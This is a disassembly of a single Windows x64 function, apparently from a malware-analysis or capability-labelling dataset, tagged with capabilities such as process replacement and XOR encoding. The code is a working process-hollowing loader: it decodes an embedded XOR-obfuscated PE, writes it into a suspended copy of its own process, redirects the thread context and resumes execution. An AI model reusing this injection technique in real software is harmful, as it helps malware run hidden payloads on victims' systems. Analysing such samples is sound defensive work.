Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x500
movaps xmmword [rsp + 0x4f0], xmm6
mov rax, qword [0x140004040]
xor rax, rsp
mov qword [rsp + 0x4e8], rax
stmxcsr dword [rsp + 0xe0]
or dword [rsp + 0xe0], 0x8040
ldmxcsr dword [rsp + 0xe0]
xor eax, eax
lea rcx, [0x140004090]
movaps xmm0, xmmword [str.cccccccccccccccc_]
nop word [rax + rax]
movaps xmm1, xmmword [rax + rcx]
xorps xmm1, xmm0
movaps xmm2, xmmword [rax + rcx + 0x10]
xorps xmm2, xmm0
movaps xmmword [rax + rcx], xmm1
movaps xmmword [rax + rcx + 0x10], xmm2
movaps xmm1, xmmword [rax + rcx + 0x20]
xorps xmm1, xmm0
movaps xmm2, xmmword [rax + rcx + 0x30]
xorps xmm2, xmm0
movaps xmmword [rax + rcx + 0x20], xmm1
movaps xmmword [rax + rcx + 0x30], xmm2
add rax, 0x40
cmp rax, 0x8000
jne 0x140001060
xorps xmm6, xmm6
movaps xmmword [rsp + 0xc0], xmm6
mov qword [rsp + 0xd0], 0
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0xa0], xmm6
mov qword [rsp + 0xb0], 0
movsxd r14, dword [0x3c]
cmp dword [r14], 0x4550
jne 0x1400012a4
lea rsi, [rsp + 0xe0]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400012a4
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0xc8]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400012a4
mov r8d, dword [r14 + 0x50]
mov rdx, qword [r14 + 0x30]
mov rcx, qword [rsp + 0xc0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r9d, dword [r14 + 0x54]
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x20], 0
mov rdx, rax
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp word [r14 + 6], 0
je 0x140001267
lea rbx, [r14 + 0x30]
mov r15d, 0x108
xor r12d, r12d
mov r13, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
movsxd rax, dword [0x3c]
mov edx, dword [r15 + rax + 0xc]
mov r9d, dword [r15 + rax + 0x10]
mov r8d, dword [r15 + rax + 0x14]
add rdx, rdi
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x20], 0
call r13
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rbx
call r13
inc r12
movzx eax, word [r14 + 6]
add r15, 0x28
cmp r12, rax
jb 0x140001200
mov eax, dword [r14 + 0x28]
add rax, rdi
mov qword [rsi + 0x80], rax
mov rcx, qword [rsp + 0xc8]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0xc0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x4e8]
xor rcx, rsp
call fcn.140001d30
xor eax, eax
movaps xmm6, xmmword [rsp + 0x4f0]
add rsp, 0x500
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret